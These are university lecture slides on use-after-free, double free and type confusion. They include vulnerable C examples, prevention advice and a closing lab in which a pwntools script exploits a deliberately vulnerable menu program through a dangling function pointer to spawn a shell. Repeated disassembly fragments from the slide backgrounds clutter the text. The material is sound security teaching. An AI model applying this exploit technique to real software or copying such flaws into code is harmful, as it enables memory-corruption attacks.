



浙江大学
ZHEJIANG UNIVERSITY

UAF and Type Confusion

Yajin Zhou (<http://yajin.org>)

Zhejiang University



Use After Free and Double Free

*adapted from slides by Trent Jaeger



Use After Free

- **Error:** Program frees memory on the heap, but then references that memory as if it were still valid
 - Adversary can control data written using the freed pointer
- AKA use of dangling pointers



Use After Free

```
int main(int argc, char **argv) {
    char *buf1, *buf2, *buf3;

    buf1 = (char *) malloc(BUFSIZE1);

    free(buf1);

    buf2 = (char *) malloc(BUFSIZE2);
    buf3 = (char *) malloc(BUFSIZE2);
    strncpy(buf1, argv[1], BUFSIZE1-1);
    ...
}
```

What happens here?



Use After Free

- When the first buffer is freed, that memory is available for reuse right away
- Then, the following buffers are possibly allocated within that memory region

```
buf2 = (char *) malloc(BUFSIZE2);
```

```
buf3 = (char *) malloc(BUFSIZE2);
```

- Finally, the write using the freed pointer may overwrite buf2 and buf3 (and their metadata)

```
strncpy(buf1, argv[1], BUFSIZE1-1);
```



Use After Free

```
struct A {  
    void (*fnptr)(char *arg);  
    char *buf;  
};  
  
struct B {  
    int B1;  
    int B2;  
    char info[32];  
};
```



Use After Free

- Free A, and allocate B does what?

```
x = (struct A *)malloc(sizeof(struct A));
```

```
free(x);
```

```
y = (struct B *)malloc(sizeof(struct B));
```



Use After Free

- How can you exploit it?

```
x = (struct A *)malloc(sizeof(struct A));
```

```
free(x);
```

```
y = (struct B *)malloc(sizeof(struct B));
```

```
y->B1 = 0xDEADBEEF;
```

```
x->fnptr(x->buf);
```

- Assume that

- The attacker controls what to write to y->B1

- There is a later use-after-free that performs a call using “x->fnptr”



Use After Free

- Adversary chooses function pointer value
- Adversary may also choose the address in `x->buf`
- Become a popular vulnerability to exploit – over 60% of CVEs in 2018



Exercise: Find the Use-After-Free Error

```
#include <stdlib.h>

struct node {
    struct node *next;
};

void func(struct node *head) {
    struct node *p;
    for (p = head; p != NULL; p = p->next) {
        free(p);
    }
}

#include <stdlib.h>

struct node {
    struct node *next;
};

void func(struct node *head) {
    struct node *q;
    for (struct node *p = head; p != NULL; p = q) {
        q = p->next;
        free(p);
    }
}
```



Prevent Use After Free

- Difficult to detect because these often occur in complex runtime states
 - Allocate in one function
 - Free in another function
 - Use in a third function
- It is not fun to check source code for all possible pointers
 - Are all uses accessing valid (not freed) references?
 - In all possible runtime states



Prevent Use After Free

- What can you do that is not too complex?
 - You can set all freed pointers to NULL
 - Getting a null-pointer dereference if using it
 - Nowadays, OS has built-in defense for null-pointer dereference
 - Then, no one can use them after they are freed
 - Complexity: need to set all aliased pointers to NULL



Related Problem: Double Free

```
main(int argc, char **argv)
{
    ...
    buf1 = (char *) malloc(BUFSIZE1);
    free(buf1);
    buf2 = (char *) malloc(BUFSIZE2);
    strncpy(buf2, argv[1], BUFSIZE2-1);
    free(buf1);
    free(buf2);
}
```

What happens here?



Double Free

- Free buf1, then allocate buf2
 - buf2 may occupy the same memory space of buf1
 - buf2 gets user-supplied data

```
strncpy(buf2, argv[1], BUFSIZE2-1);
```
- Free buf1 again
 - Which may use some buf2 data as metadata
 - And may mess up buf2's metadata
- Then free buf2, which uses really messed up metadata



What's Wrong? Fix?

```
#include <stdlib.h>

int f(size_t n) {
    int error_condition = 0;

    int *x = (int *)malloc(n * sizeof(int));
    if (x == NULL)
        return -1;

    /* Use x and set error_condition on error. */
    ...

    if (error_condition == 1) {
        /* Handle error */
        free(x);
    }

    free(x);
    return error_condition;
}
```



What's Wrong? Fix?

```
#include <stdlib.h>

/* p is a pointer to dynamically allocated memory. */
void func(void *p, size_t size) {
    /* When size == 0, realloc(p, 0) is the same as free(p).*/
    p2 = realloc(p, size);
    if (p2 == NULL) {
        free(p);
        return;
    }
}
```



Double Free

- So, “double free” can achieve the same effect as some heap overflow vulnerabilities
 - So, can be addressed in the same way
 - But, you can also save yourself some headache by setting freed pointers to NULL
 - Some new heap allocators nowadays have built-in defense for double free



Type Confusion

*adapted from slides by Trent Jaeger




Type Confusion

- Cause the program to process data of one type when it expects data of another type
 - Provides the same affect as we did with use-after-free
- Use-after-free is an instance of type confusion
 - But type confusion can be caused by other ways, not necessarily requiring a “free” operation
 - For example, C allows casts from type A to any arbitrary type B


Type Hierarchies

- C++ allows you to construct type hierarchies



Type Hierarchies

- C++ allows you to construct type hierarchies
 - Which type of cast is safe and why?





Type Confusion Safety

- Upcasts are always safe because they only reduce the type structure
 - That is, subtypes extend the structure definitions only
- Thus, downcasts (as in the example) and arbitrary casts (that do not follow the hierarchy) are unsafe
 - However, programming environments trust programmers to do the right thing



Preventing Type Confusion

- Casts may be checked at runtime to verify that they are safe
 - Research project: HexType converts all static checks to runtime checks



UAF In Practice


* slides adapted from those by Markus Gaasedelen

Course Terminology


- Use After Free
 - A class of vulnerability where data on the heap is freed, but a leftover reference or ‘dangling pointer’ is used by the code as if the data were still valid
 - Most popular in Web Browsers, complex programs
 - Also known as UAF

```
push    edi
call    sub_314623
test    eax, eax
jz     short loc_31306D
cmp    [ebp+arg_0], ebx
jnZ    short loc_313066
mov    eax, [ebp+var_70]
cmp    eax, [ebp+var_84]
jb     short loc_313066
sub    eax, [ebp+var_84]
push    esi
pushn   esi
push    eax
push    edi
mov    [ebp+arg_0], eax
call    sub_31486A
test    eax, eax
jz     short loc_31306D
lea    eax, [ebp+arg_0]
push    esi
push    [ebp+arg_4]
call    sub_314623
test    eax, eax
jz     short loc_31306D
jz     short loc_31306C
; CODE XREF: sub_312FD8
; sub_312FD8+59
loc_313066:
push    0Dh
call    sub_31411B
; CODE XREF: sub_312FD8
; sub_312FD8+49
loc_31306D:
call    sub_3140F3
test    eax, eax
jg     short loc_31307D
call    sub_3140F3
jmp    short loc_31308C
;
loc_31307D:
call    sub_3140F3
and    eax, 0FFFh
or     eax, 80070000h
; CODE XREF: sub_312FD8
loc_31308C:
mov    [ebp+var_4], eax
; CODE XREF: sub_312FD8
```

Use After Free



Use After Free



Course Terminology

- **Dangling Pointer**

- A left over pointer in your code that references free'd data and is prone to be re-used
- As the memory it's pointing at was freed, there's no guarantees on what data is there now
- Also known as **stale pointer**, **wild pointer**

```
push    edi
call    sub_314623
test    eax, eax
jz     short loc_31306D
cmp    [ebp+arg_0], ebx
jnZ    short loc_313066
mov    eax, [ebp+var_70]
cmp    eax, [ebp+var_84]
jb     short loc_313066
sub    eax, [ebp+var_84]
push    esi
push    esi
push    eax
push    edi
mov    [ebp+arg_0], eax
call    sub_31486A
test    eax, eax
jz     short loc_31306D
push    esi
lea    eax, [ebp+arg_0]
push    eax
esi, 1D0h
push    esi
push    [ebp+arg_4]
push    edi
sub    sub_314623
test    eax, eax
jz     short loc_31306D
cmp    [ebp+arg_0], esi
jz     short loc_31308F


loc_313056:                                ; CODE XREF: sub_312FD8
; sub_312FD8+59
push    0Dh
call    sub_31411B

loc_31306D:                                ; CODE XREF: sub_312FD8
; sub_312FD8+49
call    sub_3140F3
test    eax, eax
jg     short loc_31307D
call    sub_3140F3
jmp    short loc_31308C
;

loc_31307D:                                ; CODE XREF: sub_312FD8
call    sub_3140F3
and    eax, 0FFFh
or     eax, 80070000h

loc_31308C:                                ; CODE XREF: sub_312FD8
mov    [ebp+var_41], eax
```

Use After Free



Exploiting a Use After Free

- To exploit a UAF, you usually have to allocate a different type of object over the one you just freed

```
push    edi
call    sub_314623
test    eax, eax
jz     short loc_31306D
cmp    [ebp+arg_0], ebx
jnz    short loc_313066
mov    eax, [ebp+var_70]
add    eax, [ebp+var_84]
sub    eax, [ebp+var_84]
push    esi
pushn   esi
push    eax
push    edi
mov    [ebp+arg_0], eax
call    sub_31486A
test    eax, eax
jz     short loc_31306D
push    esi
lea     eax, [ebp+arg_0]
push    eax
mov    esi, 1D0h
push    esi
push    [ebp+arg_4]
push    edi
call    sub_314623
test    eax, eax
jz     short loc_31306D
cmp    [ebp+arg_0], esi
jz     short loc_31308F

loc_313066:          ; CODE XREF: sub_312FD8
; sub_312FD8+55
push    0Dh
call    sub_31411B

loc_31306D:          ; CODE XREF: sub_312FD8
; sub_312FD8+49
call    sub_3140F3
test    eax, eax
jg     short loc_31307D
call    sub_3140F3
jmp    short loc_31308C
; -----;

loc_31307D:          ; CODE XREF: sub_312FD8
call    sub_3140F3
and    eax, 0xFFFFh
or     eax, 80070000h
loc_31308C:          ; CODE XREF: sub_312FD8
mov    [ebp+var_41], eax
```

Exploiting a Use After Free

- To exploit a UAF, you usually have to allocate a different type of object over the one you just freed

```
struct toystr {  
    void (* message)(char *);  
    char buffer[20];  
};
```

```
push    edi  
call    sub_314623  
test    eax, eax  
jz     short loc_31306D  
cmp    [ebp+arg_0], ebx  
jnz    short loc_313066  
mov    eax, [ebp+var_70]  
push    eax, [ebp+var_84]  
sub    short loc_313066  
sub    eax, [ebp+var_84]  
push    esi  
push    esi  
push    eax  
push    edi  
mov    eax, [ebp+arg_0]  
call    sub_31486A  
test    eax, eax  
jz     short loc_31306D  
push    lea, [ebp+arg_0]  
push    eax  
mov    esi, 1D0h  
push    esi  
push    [ebp+arg_4]  
push    edi  
call    sub_314623  
test    eax, eax  
jz     short loc_31306D  
[ebp+arg_0], esi  
short loc_31308F  
int favorite_num; ; CODE XREF: sub_312FD8  
; sub_312FD8+55  
int age; ; 0Dh  
sub_31411B  
char name[16]; ; CODE XREF: sub_312FD8  
; sub_312FD8+49  
call    sub_3140F3  
test    eax, eax  
jg     short loc_31307D  
call    sub_3140F3  
jmp    short loc_31308C  
; -----  
loc_31307D: ; CODE XREF: sub_312FD8  
call    sub_3140F3  
and    eax, 0FFFh  
or     eax, 80070000h  
loc_31308C: ; CODE XREF: sub_312FD8  
mov    [ebp+var_4], eax
```

Exploiting a Use After Free

- To exploit a UAF, you usually have to allocate a different type of object over the one you just freed

1. **free()**

```
struct toystr {  
    void (* message)(char *);  
    char buffer[20];  
};
```

assume dangling pointer exists



```
push    edi  
call    sub_314623  
test    eax, eax  
jz     short loc_31306D  
cmp    [ebp+arg_0], ebx  
jnz    short loc_313066  
mov    eax, [ebp+var_70]  
sub    eax, [ebp+var_84]  
short loc_313066  
sub    eax, [ebp+var_84]  
push    esi  
pushn   esi  
push    eax  
push    edi  
mov    ebx, [ebp+arg_0]  
call    sub_31486A  
test    eax, eax  
jz     short loc_31306D  
push    esi  
lea    eax, [ebp+arg_0]  
push    eax  
mov    esi, 1D0h  
push    esi  
push    [ebp+arg_4]  
push    edi  
call    sub_314623  
test    eax, eax  
jz     short loc_31306D  
[ebp+arg_0], esi  
short loc_31308F  
int favorite_num;  
int age; 0Dh  
char name[16]; ; CODE XREF: sub_312FD8  
; sub_312FD8+55  
}; ; CODE XREF: sub_312FD8  
; sub_312FD8+49  
call    sub_3140F3  
test    eax, eax  
jg     short loc_31307D  
call    sub_3140F3  
jmp    short loc_31308C  
; -----  
loc_31307D: ; CODE XREF: sub_312FD8  
call    sub_3140F3  
and    eax, 0FFFFh  
or     eax, 80070000h  
loc_31308C: ; CODE XREF: sub_312FD8  
mov    [ebp+var_41], eax
```

Exploiting a Use After Free

- To exploit a UAF, you usually have to allocate a different type of object over the one you just freed

1. `free()`

```
struct toystr {  
    void (* message)(char *);  
    char buffer[20];  
};
```

assume dangling pointer exists

2. `malloc()`

```
struct person {  
    int favorite_num; ; CODE XREF: sub_312FD8+55  
    int age; ; CODE XREF: sub_312FD8+49  
    char name[16]; ; CODE XREF: sub_312FD8+49  
};
```

Exploiting a Use After Free

- To exploit a UAF, you usually have to allocate a different type of object over the one you just freed

1. **free()**

```
struct toystr {  
    void (* message)(char *);  
    char buffer[20];  
};
```

assume dangling pointer exists

2. **malloc()**

```
struct person {
```

```
    int favorite_num;
```

```
    int age;
```

```
    char name[16];
```

```
};
```

3. Set **favorite_num = 0x41414141**

Exploiting a Use After Free

- To exploit a UAF, you usually have to allocate a different type of object over the one you just freed

1. `free()`

```
struct toystr {  
    void (* message)(char *);  
    char buffer[20];  
};
```

4. Force dangling pointer to call 'message()'

assume dangling pointer exists

2. `malloc()`

```
struct person {
```

int favorite_num;

int age;

char name[16];

```
};
```

3. Set favorite_num = 0x41414141

```
loc_31306D: ; CODE XREF: sub_312FD8+55  
    call    sub_3140F3  
    test   eax, eax  
    jz     short loc_31306D  
    [ebp+arg_0], esi  
    short loc_31308F  
loc_31307D: ; CODE XREF: sub_312FD8+59  
    call    sub_3140F3  
    test   eax, eax  
    jg     short loc_31307D  
    call    sub_3140F3  
    jmp    short loc_31308C  
loc_31308C: ; CODE XREF: sub_312FD8+49  
    call    sub_3140F3  
    and    eax, 0FFFh  
    or     eax, 80070000h  
loc_31309C: ; CODE XREF: sub_312FD8+4B  
    mov    [ebp+var_4], eax
```

Use After Free

- You actually don't need any form of memory corruption to leverage a **use after free**
- It's simply an implementation issue
 - pointer mismanagement

```
push    edi
call    sub_314623
test    eax, eax
jz     short loc_31306D
cmp    [ebp+arg_0], ebx
jnzb   short loc_313066
mov    eax, [ebp+var_70]
cmp    eax, [ebp+var_84]
jb     short loc_313066
sub    eax, [ebp+var_84]
push    esi
pushn   esi
push    eax
push    edi
mov    [ebp+arg_0], esi
call    sub_31486A
test    eax, eax
jz     short loc_31306D
push    esi
lea     eax, [ebp+arg_0]
push    eax
mov    esi, 1D0h
push    esi
push    [ebp+arg_4]
push    edi
sub    sub_314623
push    eax, eax
jz     short loc_31306D
cmp    [ebp+arg_0], esi
jz     short loc_31308F
```

```
loc_313066:                                ; CODE XREF: sub_312FD8
; sub_312FD8+59
push    0Dh
call    sub_31411B

loc_31306D:                                ; CODE XREF: sub_312FD8
; sub_312FD8+49
call    sub_3140F3
test    eax, eax
jg     short loc_31307D
call    sub_3140F3
jmp    short loc_31308C
; ----- ; CODE XREF: sub_312FD8
loc_31307D:                                ; CODE XREF: sub_312FD8
call    sub_3140F3
and    eax, 0FFFFh
or     eax, 80070000h
loc_31308C:                                ; CODE XREF: sub_312FD8
sub    eax, 10000000h
;----- ; CODE XREF: sub_312FD8
```

UAF in the Wild

- The ‘hot’ vulnerability nowadays, almost every modern browser exploit leverages a UAF



```
push    edi
call    sub_314623
test    eax, eax
jz     short loc_31306D
cmp     [ebp+arg_0], ebx
jnZ    short loc_313066
mov     eax, [ebp+var_70]
cmp     eax, [ebp+var_84]
jb     short loc_313066
sub    eax, [ebp+var_84]
push    esi
pushn   esi
push    eax
push    edi
push    [ebp+arg_0], ebx
call    sub_31486A
test    eax, eax
jz     short loc_31306D
push    edi
lea     eax, [ebp+arg_0]
push    eax
mov     esi, 1D0h
push    esi
push    [ebp+arg_4]
push    edi
call    sub_314623
test    eax, eax
jz     short loc_31306F
cmp     [ebp+arg_0], ebx
jz     short loc_31308F


loc_313066:           ; CODE XREF: sub_312FD8+54
                     ; sub_312FD8+54
push    0Dh
call    sub_31411B

loc_31306D:           ; CODE XREF: sub_312FD8+49
                     ; sub_312FD8+49
call    sub_3140F3
test    eax, eax
jg     short loc_31307D
call    sub_3140F3
jmp    short loc_31308C
;

loc_31307D:           ; CODE XREF: sub_312FD8
                     ; sub_312FD8+49
call    sub_3140F3
and    eax, 0FFFFh
or     eax, 80070000h
;

loc_31308C:           ; CODE XREF: sub_312FD8
                     ; sub_312FD8+49
mov    [ebp+var_4], eax
```

IE CVE Statistics



<http://blog.tempest.com.br/breno-cunha/perspectives-on-exploit-development-and-cyber-attacks.html>

```
push    edi
call    sub_314623
test    eax, eax
jz     short loc_31306D
cmp    [ebp+arg_0], ebx
jnZ    short loc_313066
mov    eax, [ebp+var_70]
cmp    eax, [ebp+var_84]
jb     short loc_313066
sub    eax, [ebp+var_84]
push    esi
push    esi
push    eax
push    edi
[ebp+arg_0], eax
sub_31486A
eax, eax
short loc_31306D
esi
eax, [ebp+arg_0]
eax
esi, 1D0h
esi
[ebp+arc
edi
sub_31
eax, s
short loc_
[ebp+var_84]
short loc_
0Dh
sub_31411B

; CODE XREF: sub_312FD8
; sub_312FD8+59

; CODE XREF: sub_312FD8
; sub_312FD8+49

sub_3140F3
test    eax, eax
jg     short loc_31307D
jmp    short loc_31308C

loc_31307D:
call    sub_3140F3
; CODE XREF: sub_312FD8
and    eax, 0FFFh
or     eax, 80070000h

loc_31308C:
mov    [ebp+var_4], eax
; CODE XREF: sub_312FD8
```

UAF in the Wild

- The ‘hot’ vulnerability nowadays, almost every modern browser exploit leverages a UAF
- Why are they so well liked?
 - Doesn’t require any memory corruption to use
 - Can be used for info leaks
 - Can be used to trigger memory corruption or get control of EIP

```
push    edi
call    sub_314623
test    eax, eax
jz     short loc_31306D
cmp    [ebp+arg_0], ebx
jnZ    short loc_313066
mov    eax, [ebp+var_70]
cmp    eax, [ebp+var_84]
jb     short loc_313066
sub    eax, [ebp+var_84]
push    esi
push    esi
push    eax
push    edi
[ebp+arg_0], edi
call    sub_31486A
test    eax, eax
jz     short loc_31306D
esi
lea    eax, [ebp+arg_0]
push    eax
mov    esi, 1D0h
push    esi
push    [ebp+arg_4]
push    edi
call    sub_314623
test    eax, eax
jz     short loc_31308F
cmp    [ebp+arg_0], ebx
jz     short loc_31308F
; CODE XREF: sub_312FD8
; sub_312FD8+55
loc_313066:
push    0Dh
call    sub_31411B
; CODE XREF: sub_312FD8
; sub_312FD8+49
loc_31306D:
call    sub_3140F3
test    eax, eax
jg     short loc_31307D
call    sub_3140F3
jmp    short loc_31308C
;
loc_31307D:
call    sub_3140F3
; CODE XREF: sub_312FD8
and    eax, 0FFFFh
or     eax, 80070000h
loc_31308C:
mov    [ebp+var_4], eax
; CODE XREF: sub_312FD8
```



Detecting UAF Vulnerabilities

- From the defensive perspective, trying to detect **use after free** vulnerabilities in complex applications is very difficult, even in industry
- Why?
 - UAF's only exist in certain states of execution, so statically scanning source for them won't go far
 - They're usually only found through crashes, but symbolic execution and constraint solvers are helping find these bugs faster



```
struct toystr {
    void (* message)(char *);
    char buffer[20];
};

struct person {
    int favorite_num;
    int age;
    char name[16];
};

void print_cool(char * who)
{
    printf("%s is cool!\n", who);
}

void print_meh(char * who)
{
    printf("%s is meh...\n", who);
}

void secret_shell()
{
    execve("/bin/sh", NULL, NULL);
}

void print_menu()
{
    printf("-- Menu -----\\n"
        "1. Make coolguy\\n"
        "2. Make a_person\\n"
        "3. Delete coolguy\\n"
        "4. Delete a_person\\n"
        "5. Print coolguy message\\n"
        "6. Print person info\\n"
        "7. Quit\\n"
        "Enter Choice: ");

    /* perform menu actions */
    if(choice == 1)
    {
        coolguy = malloc(sizeof(struct toystr));
        printf("New coolguy is at 0x%08x\\n", (unsigned int)coolguy);

        /* no memory corruption this time */
        printf("Input coolguy's name: ");
        fgets(coolguy->buffer, 20, stdin);
        coolguy->buffer[strcspn(coolguy->buffer, "\\n")] = 0;
        coolguy->message = &print_cool;

        /* yay */
        printf("Created new coolguy!\\n");
    }

    else if(choice == 3)
    {
        if(coolguy)
        {
            free(coolguy);
            printf("Deleted coolguy!\\n");
        }
        else
            printf("There is no coolguy to free!\\n");
    }
}
```

Coolguy is not null!



```
else if(choice == 2)
{
    a_person = malloc(sizeof(struct person));
    printf("New person is at 0x%08x\n", (unsigned int)a_person);

    /* initialize a_person */
    printf("Input a_person's name: ");
    fgets(a_person->name, 16, stdin);
    a_person->name[strcspn(a_person->name, "\n")] = 0;

    printf("Input a_person's favorite number: ");
    scanf("%u", &a_person->favorite_num);
    getc(stdin);

    printf("Input a_person's age: ");
    scanf("%u", &a_person->age);
    getc(stdin);
    if(a_person->age > 110 || a_person->age < 0)
        printf("Wow your age is pretty crazy yo\n");

    /* all done here */
    printf("Created a new person!\n");
}

else if(choice == 5)
{
    if(coolguy)
        coolguy->message(coolguy->buffer);
    else
        printf("There is no coolguy to print the cool message!\n");
}
```



```
from pwn import *

path = os.path.abspath("./heap_uaf")

p = process(path)

#make a cool guy
p.sendline("1")
p.sendline("cool")

#delete the guy
p.sendline("3")

#create a person
p.sendline("2")
p.sendline("person")
# 0x0804862e = 134514222
p.sendline("134514222 2")

#call guy->message
p.sendline("5")

#we get the shell
p.interactive()
```

```
work@ubuntu:~/ssec20/example_code/ssec20/heap$ python exploit_uaf.py
[+] Starting local process '/home/work/ssec20/example_code/ssec20/heap/heap_uaf': pid 13178
[*] Switching to interactive mode
.
$ pwd
/home/work/ssec20/example_code/ssec20/heap
```